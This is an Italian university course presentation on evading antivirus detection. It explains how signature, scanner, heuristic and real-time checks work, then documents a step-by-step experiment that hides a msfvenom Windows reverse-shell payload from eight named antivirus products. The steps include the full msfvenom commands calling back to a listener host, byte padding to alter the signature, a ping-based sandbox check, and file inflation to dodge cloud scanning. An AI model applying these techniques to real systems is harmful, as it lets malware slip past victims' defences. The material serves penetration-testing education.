A fast and easy approach for Antivirus Evasion
Overview
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking 2018-19 Prof. Arcangelo Castiglione
Teoria
Pratica
Generalmente i payload vengono eseguiti sfruttando vulnerabilità che permettono di caricare codice direttamente in memoria principale, esistono però casi in cui questo non è possibile ed è necessario memorizzare dati sul disco fisso. In questo contesto è necessario prestare particolare attenzione ad un eventuale detection da parte di antivirus che potrebbe rendere vano l’intero processo di Penetration Testing.
In questa presentazione viene mostrato un modo veloce ed efficace per riuscire con successo a creare un file eseguibile contenente un payload malevolo in maniera tale da rimanere nascosto agli antivirus, eludendone i controlli ed evitando di essere rilevato.
Prima di poter arrivare alla spiegazione di come si è riuscito a raggiungere tale risultato è di primaria importanza approfondire meglio il funzionamento alla base di tutti gli antivirus(AV) e le principali tecniche che vengono utilizzate per riuscire ad ottenere una buona distinzione tra file legittimi e file potenzialmente dannosi.
In questa prima sezione andremo quindi ad approfondire le 4 tecniche principalmente impiegate dagli AV e relativamente a ciascuna di queste verranno lasciati alcuni spunti su debolezze ed eventuali possibili metodi per poterle raggirare.
Introduzione
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Ogni software house che produce antivirus è libera di implementare i controlli che più ritiene opportuni. Quelli che andremo ad approfondire sono una generalizzazione che cerca di coprire tutte le funzionalità della maggior parte degli antivirus ed allo stesso tempo di accorpare quelle simili. Ovviamente non è detto che tutti gli antivirus implementino tutte queste tecniche o che tutti le realizzino allo stesso modo.
Nonostante ciò generalmente le metodologie utilizzate dagli antivirus si possono suddividere in:
Introduzione
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Il tipo di controllo più semplice che chiunque possa fare è quello di verificare se il file in qualche modo “assomiglia” ad un elenco di file che già conosce e sa essere malevoli.
Un modo per automatizzare questo tipo di processo è quello di calcolare dei checksum all’interno del file, generalmente non di tutto il file ma determinate sezioni. Questi verranno poi confrontati con un database interno all’AV. Eventuali match forniranno informazioni sulla potenziale dannosità del file analizzato.
Questa tecnica prevede che l’AV abbiano già una conoscenza del malware o della famiglia di malware che gli abbia permesso di poter creare delle firme efficaci da inserire nel database.
Per questo motivo questa tecnica è molto efficiente nel rilevare payload generati sfruttando tool generici, poiché potenzialmente gli AV vendors hanno già avuto modo di analizzare e creare delle signature per ciascun possibile payload.
Per poter aggirare questo tipo di controllo l’obiettivo è quello di modificare piccole porzioni delle sezioni di cui viene calcolata la signature che l’AV utilizza per il confronto.
Signature evasion
Come funziona
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Per poter quindi modificare la signature di un file abbiamo diverse tecniche. In primis l’utilizzo di tool per la creazione di payload generalmente prevede anche la presenza di encryptor capaci di generare del codice polimorfico delle volte può essere sufficiente.
In altri casi tale soluzione non è sufficiente o non è sempre possibile. Se il file continua ad essere rilevato può voler dire l’AV riconosce l’utilizzo di quel encoder.
Per ovviare questi casi il metodo più immediato ma non sempre efficace o praticabile sarebbe quello di provare con altri encoder e/o sfruttare altri tool per cercare di manipolare il template del file.
Avendo a disposizione il codice sorgente dell’eseguibile invece rende ancora più facile l’evasione. Tutto quello che è sufficiente fare è effettuare delle modifiche al codice, inserendo junk code ed offuscando opportunamente il payload, allo stesso tempo cambiando il template del file.
Questa pratica, ove applicabile, garantisce l’unicità della signature del nuovo file malevolo generato e di conseguenza un’ottima probabilità di successo. Un esempio banale di questa tecnica è mostrato nel 2° esempio della sezione pratica.
Signature evasion
Come può essere evasa
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
In questa fase a differenza della precedente l’AV analizza il codice con lo scopo di comprenderne parzialmente il comportamento o quanto basta per riuscire a valutare la pericolosità del file analizzato.
Generalmente il processo di scanning si distingue in due macrocategorie, l’analisi statica e l’analisi dinamica.
Analisi Statica: L’AV non prova ad eseguire il file, bensì, similmente a quanto fatto nella fase precedente, legge il contenuto del file. In questo caso però riconosce le istruzioni che farebbero parte del flusso di esecuzione del file ed in base a queste cerca di comprendere il comportamento del software.
Analisi Dinamica: Nell’analisi dinamica invece l’AV esegue il file all’interno di un ambiente protetto (Sandbox) che tenta di emulare il sistema operativo. Questo tipo di controllo è capace di analizzare tutte le istruzioni che vengono eseguite senza che l’effettiva esecuzione abbia alcun effetto all’interno della macchina che ne sta eseguendo la scansione.
Entrambe le analisi, seppur con tecniche diverse ottengono un modello del flusso di esecuzione dell’eseguibile. Questo infine verrà confrontato con modelli già analizzati presenti all’interno del database dell’AV, similmente a quanto accadeva nel caso della signature analysis.
Scanner evasion
Come funziona
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Analisi statica: come abbiamo visto precedentemente questo tipo di analisi è molto simile al controllo per della signature. Infatti utilizzando le stesse tecniche come codice polimorfico e template personalizzati è possibile eludere anche questa.�In caso di analisi statiche che vengono eseguite più approfonditamente da tool migliori è possibile utilizzare tecniche più avanzate di anti-disassembling che prevedono la modifica del codice a livello assembly aggiungendo istruzioni valide ma difficilmente interpretabili dai disassembler. Nella fase pratica non sono stati trovati casi in cui questa tecnica fosse necessaria, prova del fatto che la maggior parte degli AV non prevedono un’analisi così complessa affidandosi principalmente ad altre tecniche.
Analisi dinamica: Idealmente l’idea di analizzare il file in un ambiente protetto dovrebbe permettere di rilevare qualsiasi possibile comportamento sospetto. La vulnerabilità più facilmente sfruttabile di questa tecnica infatti si basa su un dettaglio legato all’implementazione. Notiamo che se il programma fosse in grado di rilevare la presenza di una sandbox come host potrebbe reagire di conseguenza evitando di eseguire il payload.
Le sandbox hanno il compito di simulare un intero sistema operativo in maniera veloce e garantendo l’isolamento dell’esecuzione. Sfruttando l'incompletezza della sandbox (ad esempio con system call che restituiscono valori inaspettati) ci si può permettere di distinguere a runtime quando si è eseguiti normalmente da quando si è eseguiti da un AV.
Esistono una miriade di modi per fare sandbox detection, due vengono mostrati all’interno del 4 tentativo della sezione pratica
Scanner evasion
Come può essere evaso
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Le tecniche basate sull’analisi euristica di un’applicazione sono fondamentali in quanto generalmente sono le designate ad identificare nuove minacce. Infatti queste a differenza delle precedenti non si basano su una conoscenza approfondita e di un database contenente di file simili, bensì puntano a riconoscere generiche caratteristiche e comportamenti che vengono definiti come ‘tipici’ di file malevoli e quindi sospetti.
Generalmente un rilevazione positiva da parte di tecnica necessiterebbe un’analisi manuale più approfondita per capire se ci si è ritrovati davanti una nuova famiglia di malware non ancora conosciuta.
Come può essere evasa
Le tecniche si dividono anche loro come nel caso precedenti in statiche e dinamiche. Le tecniche di evasione sono quindi pressappoco le stesse dello scanner evasion, con la differenza però che l'analisi sull’euristica può considerare può segnalare eventi, come ad esempio l’individuazione di tecniche anti-disassembling o di sandbox detection, comportamenti sospetti ed agire di conseguenza.
E’ stato verificato empiricamente che tali tecniche allo stato attuale anche dagli antivirus più diffusi sono realizzate in maniera molto blanda, delle volte viene abusato il termine “euristica” per fare riferimento ad una semplice analisi delle signature.
Heuristics evasion
Come funziona
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Il controllo in tempo reale è indubbiamente uno dei metodi più efficaci. Consiste nell’analisi da parte dell’antivirus di tutti i processi durante la loro reale esecuzione (non in sandbox). In questo modo tutti i processi sono tenuti sotto controllo durante l’intera esecuzione, se in un certo istante un processo decide di eseguire del codice dannoso conosciuto all’AV viene bloccato.
Come può essere evasa
Ci sono parecchie diverse tecniche per monitorare il comportamento di un processo, ad esempio con un thread di debugging o interponendosi tra il processo e le chiamate alle librerie del sistema. A differenza della sandbox anche se fosse possibile per un processo rendersi conto di essere controllato inibire l’esecuzione del payload vorrebbe dire non eseguirlo affatto.�In questo caso sarebbe necessario identificare vulnerabilità specifiche dell’implementazione del controllo real-time dello specifico antivirus che si intende bypassare. Piuttosto che effettuare un’operazione così complessa è decisamente più immediato abbandonare l’idea di utilizzare un payload già esistente e scriverne da zero uno proprio.��Come argomentato alla fine della sezione pratica, la presenza di un controllo real time ha forzato la scelta di un altro payload più basilare rispetto a quello di partenza.
Real-time analysis evasion
Come funziona
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Overview
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking 2018-19 Prof. Arcangelo Castiglione
Teoria
Pratica
L’obiettivo di questa sezione pratica è quello di riuscire ad eseguire un payload generato tramite tool (nell’esempio msfvenom) in un ambiente protetto da antivirus nel modo più immediato e semplice possibile. A questo scopo eseguiremo un wrapping della shellcode in un piccolo eseguibile scritto in C che ci possa permettere di avere un controllo maggiore su quando eseguire il payload e come memorizzarlo ed offuscarlo.
Assunzioni preliminari
L’eseguibile che andremo a generare sfrutterà la scarsa abilità da parte degli AV di riconoscere nuovi malware di cui non se ne conosce firma e template. Ovviamente nel momento il cui venisse diffuso (ad esempio tramite l’utilizzo di VirusTotal) sarebbe molto facile per i vendors di AV analizzarlo per poterlo poi riconoscere in futuro.
Per questo motivo il processo descritto è più pensato ad attacchi di pentesting mirati a singole macchine e non si presterebbe bene ad attacchi di massa.
Nel momento in cui l’eseguibile iniziasse ad essere riconosciuto sarebbe sufficiente seguire la stessa metodologia descritta e cambiare le tecniche utilizzate con poca fantasia per avere un nuovo eseguibile funzionante ed irriconoscibile.
Obiettivo
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Per ottenere il nostro payload da eseguire è stato utilizzato msfvenom come unico tool.
Nel primo tentativo (mostrato nelle successive slide) è stato utilizzato l’output del seguente comando:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.166 LPORT=4444 -f C
Per tutti gli altri tentativi il payload utilizzato è stato l’output di:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.166 LPORT=4444 -e x86/shikata_ga_nai
-i 10 -f C
Obiettivo
Payload generation
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Obiettivo
Payload generation
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Ciascuna versione dell’eseguibile è stata eseguita in una virtual machine con Windows 10 e verificata con i seguenti antivirus gratuiti: Avast, AVG, Avira, BitDefender, Kaspersky, Malwarebytes, Panda, Windows Defender.
Ciascuna versione del file è controllata su tutti gli antivirus, anche nel caso in cui una versione precedente sia già stata valutata non malevola. Questo per evitare che le successive modifiche possano influenzare l’analisi euristica ed alterare l’esito della scansione.
Payload semplice
1° Tentativo
Nella prima fase proviamo ad inserire solo il payload senza nessuna encryption per testarne il funzionamento.
Un array di char contiene la shellcode che dobbiamo eseguire.
A runtime viene allocata una porzione di memoria in cui è permessa l’esecuzione di codice.
Dopo aver aver copiato il codice all’interno dell’area di memoria appena creata esso viene eseguito.
Risultati analisi
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Per cercare di riconoscere quando l’AV viene allertato dall’analisi statica e da quella dinamica vengono generati due payload a partire dal sorgente precedente. exe0_no_payload_execution ha come unica differenza quella di non avere l’ultima linea di codice che esegue il payload.
Come primo obiettivo cercheremo di evadere l’analisi statica effettuata dalla maggior parte degli antivirus.
exe0: Trojan:Win32/Meterpreter.gen!C
exe0_no_payload_execution:
Trojan:Win32/Meterpreter.gen!C
exe0: Win32:Swort-S [Trj]
exe0_no_payload_execution:
Win32:Swort-S [Trj]
exe0: Win32:Swort-S [Trj]
exe0_no_payload_execution:
Win32:Swort-S [Trj]
exe0: Generic.RozenaA
exe0_no_payload_execution:
Generic.RozenaA
exe0: TR/Meterpreter
exe0_no_payload_execution:
TR/Meterpreter
exe0: No detection
exe0_no_payload_execution:
No detection
exe0: No detection
exe0_no_payload_execution:
No detection
exe0: Trojan.Win32Generic
exe0_no_payload_execution:
Trojan.Win32Generic
Payload shikata_ga_nai
2° Tentativo
Sappiamo che gli encoder non sempre sono una risorsa valida come meccanismo per evadere l’analisi statica degli AV.
Alcuni di questi però sono molto potenti e creano del codice polimorfico che delle volte può aiutare contro un’eventuale analisi della signature.
Sostituiamo il payload iniziale con un nuovo payload generato tramite il comando:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.166 LPORT=4444 -e x86/shikata_ga_nai -i 10 -b ‘\xfa’ -f C
Risultati analisi
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Effettivamente rispetto ai risultati precedenti c’è stato un piccolo miglioramento. Siamo riusciti ad evadere l’analisi statica del file di Windows Defender. Il risultato però non è ancora soddisfacente, quindi continuiamo a cercare altre soluzioni.
exe1: Trojan:Win32/Meterpreter.gen!C
exe1_no_payload_execution:
No detection
exe1: Win32:Swort-S [Trj]
exe1_no_payload_execution:
Win32:Swort-S [Trj]
exe1: Win32:Swort-S [Trj]
exe1_no_payload_execution:
Win32:Swort-S [Trj]
exe1: Generic.RozenaA
exe1_no_payload_execution:
Generic.RozenaA
exe1: TR/Meterpreter
exe1_no_payload_execution:
TR/Meterpreter
exe1: No detection
exe1_no_payload_execution:
No detection
exe1: No detection
exe1_no_payload_execution:
No detection
exe1: Trojan.Win32Generic
exe1_no_payload_execution:
Trojan.Win32Generic
Payload inquinato
3° Tentativo
Possiamo supporre che la maggior parte degli antivirus riescano a riconoscere il file tramite la firma della sezione dell’eseguibile che contiene memorizzato il payload.
Modificando questa zona teoricamente potremmo riuscire ad abbassare il rate di detection da parte dell’analisi statica.
Nell’esempio il byte è stato notato che il byte ‘/xfa’ non viene utilizzato all’interno del payload, quindi si è scelto di utilizzarlo come elemento per cercare di alterare la firma del payload. Ovviamente è stato utilizzato un encoder per definire uno o più byte da non far comparire all’interno del payload così da potersi permettere di inserire byte per offuscare che siano successivamente facilmente eliminabili.
Ovviamente bisogna ricordarsi di rimuovere i caratteri in più prima di eseguire il payload per evitare errori.
Risultati analisi
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
A quanto pare con questa piccola modifica siamo riusciti ad evadere quasi tutti controlli effettuati da questi antivirus alla scansione del file.
Passiamo ora a concentrarci sull’analisi dinamica effettuata da windows defender.
exe2: Trojan:Win32/Meterpreter.gen!C
exe2_no_payload_execution:
No detection
exe2: No detection
exe2_no_payload_execution:
No detection
exe2: No detection
exe2_no_payload_execution:
No detection
exe2: No detection
exe2_no_payload_execution:
No detection
exe2: TR/Meterpreter
exe2_no_payload_execution:
TR/Meterpreter
exe2: No detection
exe2_no_payload_execution:
No detection
exe2: No detection
exe2_no_payload_execution:
No detection
exe2: No detection
exe2_no_payload_execution:
No detection
Sandbox evasion
4° Tentativo
Windows defender prova ad eseguire il file in una sandbox. Simulare un ambiente grande come un sistema operativo è impossibile in un tempo relativamente breve, ci affidiamo quindi a trovare chiamate al sistema per cercare incongruenze nel comportamento di una sandbox rispetto al vero ambiente.
In questo esempio proviamo a far eseguire un ping alla macchina con un timeout di 1 secondo verso un indirizzo specifico che sappiamo non esistere all’interno del network. Generalmente la chiamata a system del ping sarà simulata da una funzione che non sempre non restituirà il risultato e che soprattutto non interpreterà a dovere l’input, ignorando così il timeout.
Ci aspettiamo quindi che la system ritorni -1 e che impieghi almeno 1s per essere eseguita, se non è questo il caso ci troviamo molto probabilmente in una sandbox e possiamo anche terminare l’esecuzione.
In una soluzione ottimale generata da un tool il ping andrebbe eseguito verso un indirizzo di cui si è sicuri la non esistenza all’interno della rete.
Inoltre dovrebbe essere estensibile per permettere di specificare anche in seguito nuove tecniche di sandbox detection.
Risultati analisi
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Come immaginato in questo modo siamo riusciti a rilevare l’esecuzione della sandbox di windows defender e abbiamo potuto evitare che scoprisse il vero comportamento dell’eseguibile.
L’unica cosa che ci resta da fare è analizzare più a fondo Avira per capire che tecniche usa per rilevare il payload nonostante tutte queste modifiche che si sono rivelate molto efficaci contro gli altri AV.
exe3: No detection
exe3: No detection
exe3: No detection
exe3: No detection
exe3: TR/Meterpreter
exe3: No detection
exe3: No detection
exe3: No detection
Backend server
5° Tentativo
Ad un'analisi più approfondita si è notato che Avira sembra rilevare il file solo se connesso ad Internet.�Analizzando il flusso di pacchetti inviati da Avira con Wireshark sembrava che l’antivirus caricasse l’intero file su un server, lo facesse analizzare e attendesse l’esito.
Si può immaginare quindi che file di grosse dimensioni, limitati dalla velocità della rete e di usabilità dell’AV non possono essere completamente analizzati.
Il problema si riduce quindi a trovare le giuste dimensioni per il file per evitare che abbia in modo da permetterne l’utilizzo pratico ma evitarne l’analisi da parte di Avira.
Per controllare le dimensioni del file in C basta preallocare lo spazio per un array statico che di fatto non verrà utilizzato dall’applicazione.
Dopo diversi tentativi ci si è resi conto che Avira non carica file di dimensioni superiori a 7MB.
Risultati analisi
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Rianalizzando quindi il nuovo file a partire dal sorgente dell’ultimo tentativo possiamo vedere che siamo riusciti a raggiungere il nostro obiettivo, nessun antivirus all’analisi del file sembra rilevare il payload.
Con pochissimo lavoro siamo riusciti a creare un payload utilizzabile su sistemi dotati di antivirus.
exe4: No detection
exe4: No detection
exe4: No detection
exe4: No detection
exe4: No detection
exe4: No detection
exe4: No detection
exe4: No detection
Evading real-time analysis
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
L’obiettivo iniziale era quello di mascherare un payload che contenesse una Meterpreter shell. A quanto pare questi tre antivirus, Avast, Avg e Bitdefender, tra tutti quelli scelti eseguono un controllo real time di tutti i processi in esecuzione.
Questo tipo di controllo è capace di identificare la fase di caricamento della shell meterpreter dopo che si è stabilita la connessione col server, impedendone il corretto funzionamento.
Uno dei metodi per evitare questo tipo di analisi è quello di implementare soluzioni ad-hoc per fare in modo che uno specifico antivirus nel controllare il processo incontri degli errori e termini il controllo.�Un altro potrebbe essere quello di cambiare il funzionamento del payload in esecuzione nella fase in cui viene bloccato abbastanza da non renderlo riconoscibili.
Entrambi queste tecniche non sono affatto banali ne tantomeno immediate, la soluzione più veloce ed efficace è stata optare per un payload più semplice il quale comportamento è più confondibile con un programma legittimo.
Avoiding
Approfondendo di poco le conoscenze sul funzionamento basilare di un antivirus è stato possibile ottenere buoni risultati che possono potenzialmente abbassare i tempi di esecuzione del processo di exploitation durante un penetration testing.
Possibili sviluppi futuri
Sarebbe possibile automatizzare tali tecniche in un tool capace di genere un eseguibile contenente un payload nascosto.
Questo tool dovrebbe permettere la specifica di un template (in quanto ai fini del non riconoscimento del file è fondamentale che sia sempre diverso) o dovrebbe essere capace di randomizzarne uno durante l’esecuzione.
Potrebbe generare payload tramite msfvenom sfruttando encoder scelti dall’utente e sfruttando l’opzione ‘badchar’ riservarsi dei caratteri utilizzabili poi per rendere irriconoscibile il payload memorizzato nell’array.
Infine dovrebbe essere estensibile e permettere l’inserimento di altre tecniche di sandbox detection scritte da altri utenti.
Risultati
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Joxean Koret, Elias Bachaalany, “The Antivirus Hacker’s Handbook”, Wiley, 2015.
Georgia Weidman, “Penetration Testing _ A Hands-On Introduction to Hacking”, No Starch Press, 2014.
Reverend Bill Blunden, “The Rootkit Arsenal”, Jones & Bartlett learning, 2nd edition
Link ai sorgenti utilizzati (Password “PTEH”)
Bibliografia
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione
Grazie per
l’attenzione
Luca Reccia 0522500653 A fast and easy approach for antivirus evasion | Penetration Testing and Ethical Hacking Prof. Arcangelo Castiglione